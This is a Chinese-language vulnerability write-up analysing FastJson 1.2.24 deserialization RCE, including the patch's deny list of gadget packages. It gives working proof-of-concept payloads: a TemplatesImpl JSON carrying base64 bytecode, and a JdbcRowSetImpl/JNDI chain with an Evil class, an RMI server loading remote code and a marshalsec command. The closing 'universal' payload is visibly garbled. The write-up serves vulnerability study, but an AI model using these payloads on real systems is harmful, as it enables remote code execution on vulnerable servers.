FastJson Deserialization Vulnerability
2024-04-21 02:10:13

FastJson反序列化漏洞

环境搭建

创建Maven项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>

漏洞详情

影响版本

1.2.24版本以下

根据官方的公告中的WAF检测方法来看,问题很有可能是因为反序列化了任意类型的class从而导致的RCE。

image-20200730162407906

关于漏洞的具体详情可参考 https://github.com/alibaba/fastjson/wiki/security_update_20170315

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;

public class Test {
public static void main( String[] args ) {
User user=new User();
user.setName("L0ki");
String user_json= JSON.toJSONString(user);
System.out.println(user_json);

Object user1=JSON.parse(user_json);
Object user2=JSON.parseObject(user_json,User.class);

System.out.println(user1.getClass().getName());
System.out.println(user2.getClass().getName());
System.out.println(((User)user2).getName());
}
}

class User {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

可以看到 parse(String)将JSON字符串解析成了一个JSONObject对象,parseObject(String,Class)将JSON字符串反序列化为一个相应的Java对象

另外FastJson还提供一个特殊字符段 @type,通过这个字段可以指定反序列化任意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.alibaba.fastjson.JSON;

public class Test {
public static void main( String[] args ) {
String user_json="{\"@type\":\"org.example.User\",\"name\":\"L0ki\"}";
System.out.println(user_json);

Object user1=JSON.parse(user_json);
Object user2=JSON.parseObject(user_json,User.class);

System.out.println(user1.getClass().getName());
System.out.println(user2.getClass().getName());
System.out.println(((User)user2).getName());
}
}

class User {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
System.out.println("setter...");
this.name = name;
}
}

运行结果

1
2
3
4
5
6
7
{"@type": "org . example.User","name":"L0ki"}
setter. . .
setter. . .
org. example. User
org . example.User
L0ki
//从回显看反序列化程序执行顺序

根据终端回显,我们可以看出来:在反序列化的同时调用了对象的set方法,说明FastJson在对JSON字符串反序列化的时候,会尝试通过setter方法对对象的属性进行赋值

那么在这种情况下,找到有可以利用的setter方法的类,就能完成该漏洞的利用

在满足一定条件下也会调用getter方法

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.util.Hashtable;

public class Test {
public static void main(String[] args) throws Exception {
String json="{\"table\":{}}";
System.out.println(json);

Foo foo=JSON.parseObject(json,Foo.class, Feature.SupportNonPublicField);

}
}

class Foo{
private Hashtable table;
public Hashtable getTable() {
System.out.println("getter");
return table;
}
}

运行结果

1
2
{"table":{}}
getter

具体的规则参考于 JAVA反序列化—FastJson组件

静态分析

通过官网给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。具体包括:

1
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework

// 新增的黑名单
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframewor

同时添加了checkAutoType类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
if (typeName.length() >= maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}

我们可以看到其核心代码就是:

1
2
3
4
5
6
7
8
if (autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

直接遍历denyList数组,只要引用的库中是以denyList中某个deny打头,即以我们的黑名单中的字符串开头的就直接抛出异常中断运行。

POC—基于Templatempl

根据test.java我们可以看到恶意代码的执行位置在构造方法中

image-20200730155424188

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class Poc {

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());

}

public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
//String personStr = "{'name':"+text1+",'age':19}";
//Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());

}

根据POC的关键代码我们进行分析

  • @type指定解析类,fastjson会根据指定类去反序列化得到该类的实例
  • _bytecodes,加载的恶意字节码
  • _ outputProperties->getOutputProperties
  • _ tfactory,_ name
  • Feature.SupportNonPublicField

我们可以看到Test.java主要实现了一个类,这个类利用 Runtime.getRuntime().exec("calc");语句执行弹出计算器的命令,而POC.java文件中主要执行test_autoTypeDeny()函数,函数获取Test.java文件编译完成后的.class文件然后进行base64编码,将编码后的字符串赋值给_bytecodes加上POC.

通过 Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);执行反序列化操作,执行命令。

在这个poc中,最核心的部分是 _ bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl_ bytecodes却是私有属性,_ name也是私有域,所以在 parseObject的时候需要设置 Feature.SupportNonPublicField,这样 _ bytecodes字段才会被反序列化。_ tfactory这个字段在 TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置 _ tfactory为{ },fastjson会调用其无参构造函数得 _ tfactory对象,这样就解决了某些版本中在 defineTransletClasses()用到会引用 _tfactory属性导致异常退出。

所以可以根据这个构造漏洞利用的 payload

1
text1={"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEANAcAAgEAC3BlcnNvbi9UZXN0BwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYKAA4AEAcADwEAEWphdmEvbGFuZy9SdW50aW1lDAARABIBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAUAQAfL3Vzci9iaW4vdG91Y2ggL3RtcC9zdWNjZXNzLnR4dAoADgAWDAAXABgBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADUxwZXJzb24vVGVzdDsBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAnAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgcALQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAAEADAEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEAIQABAAMAAAAAAAQAAQAFAAYAAgAHAAAABAABAAgACgAAAEAAAgABAAAADiq3AAu4AA0SE7YAFVexAAAAAgAZAAAADgADAAAADwAEABAADQARABoAAAAMAAEAAAAOABsAHAAAAAEAHQAeAAEACgAAAEkAAAAEAAAAAbEAAAACABkAAAAGAAEAAAAVABoAAAAqAAQAAAABABsAHAAAAAAAAQAfACAAAQAAAAEAIQAiAAIAAAABACMAJAADAAEAHQAlAAIABwAAAAQAAQAmAAoAAAA/AAAAAwAAAAGxAAAAAgAZAAAABgABAAAAGQAaAAAAIAADAAAAAQAbABwAAAAAAAEAHwAgAAEAAAABACgAKQACAAkAKgArAAIABwAAAAQAAQAsAAoAAABBAAIAAgAAAAm7AAFZtwAuTLEAAAACABkAAAAKAAIAAAAcAAgAHQAaAAAAFgACAAAACQAvADAAAAAIAAEAMQAcAAEAAQAyAAAAAgAz"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

Feature.SupportNonPublicField

在漏洞触发时必须传入 Feature.SupportNonPublicField参数,这也成了该条利用链的限制,导致不是很通用

1
JSON.parse(poc,Feature.SupportNonPublicField);

这是因为POC中有一些private属性,而且 TemplatesImpl类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要 Feature.SupportNonPublicField参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Test {
public static void main(String[] args) throws Exception {
String json="{\"name\":\"L0ki\",\"age\":21}";
System.out.println(json);
Person person1=JSON.parseObject(json,Person.class, Feature.SupportNonPublicField);
Person person2=JSON.parseObject(json,Person.class);

System.out.println(person1);
System.out.println(person2);
}
}

class Person{
private int age;
public String name;
Person(){
}
Person(int age,String name){
this.age=age;
this.name=name;
}
@Override
public String toString() {
return "Person{" +
"age=" + age +
", name='" + name + '\'' +
'}';
}
}

POC—基于JNDI+JdbcRowSetImpl

分析流程

  1. 查找远程对象的可控参数 getDataSourceName()
  2. 设置该参数 setDataSourceName(String var1)
  3. 提交该参数 setAutoCommit(boolean var1)

JdbcRowSetImpl

image-20200803132635793

查找远程对象

1
2
3
4
5
6
else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
}

如果 this.getDataSourceName() 可控且能触发 connect()便有可能实现JNDI注入达到RCE

setDataSourceName(String var1)函数赋值 dataSourceName

image-20200803133940841

setAutoCommit(boolean var1)函数调用了 connect()

image-20200803134212832

FastJson会自动调用setter来完成对对象属性的赋值,所以这里payload

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Evil",
"autoCommit":true
}

首先 @type字段会指定反序列化 com.sun.rowset.JdbcRowSetImpl

然后调用 setDataSourceName(String var1)dataSourceName赋值,这里赋值为恶意的RMI服务地址

最后调用 setAutoCommit(boolean var1)从而调用 connect()触发JNDI注入,autoCommit的值类型是 boolean,这里设置 truefalse都可,JNDI注入部分可以参考深入理解JNDI注入与Java反序列化漏洞利用

下面构造一个恶意类,其中执行命令的代码可以放在构造方法,getObjectInstance()方法或者静态代码块中

javac Evil.java

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;

public class Evil {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
}
}
}

利用一

通过RMI服务返回一个 JNDI Naming Reference,受害者解码 Reference时会去我们指定的 Codebase远程地址加载 Factory类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.*;

public class App {
public static void main( String[] args ) throws Exception {
System.setProperty("java.rmi.server.hostname","ip");//ip为服务器外网地址

Registry registry = LocateRegistry.createRegistry(9999);
String remote_class_server = "http://ip:80/";//恶意对象地址
Reference reference = new Reference("Evil", "Evil", remote_class_server);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Evil", referenceWrapper);
System.out.println("start...");
}
}

利用二

借助marshalsec项目,直接启动一个RMI服务器,监听9999端口,并制定加载远程类 Evil.class

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#Evil" 9999

最后运行漏洞代码加载payload

注意

在高版本中Java限制了 Naming/Directory服务中 JNDI Reference远程加载 Object Factory类的特性。默认不允许从远程的 Codebase加载 Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将相关属性值设置为 true

本地复现

test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;

public class Test {
public static void main( String[] args ) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://ip:9999/Evil\",\n" +
" \"autoCommit\":true\n" +
"}";
JSON.parseObject(payload);
}
}

通杀

{"atype":"java. lang. Class","val":" com. sun. rowset . JdbcRowSetImpL" }

{"@type" : " com . sun. rowset . JdbcRowSetImpl"," dataSourceName": " rmi:/ ip/Exploit"," autoCommit": true }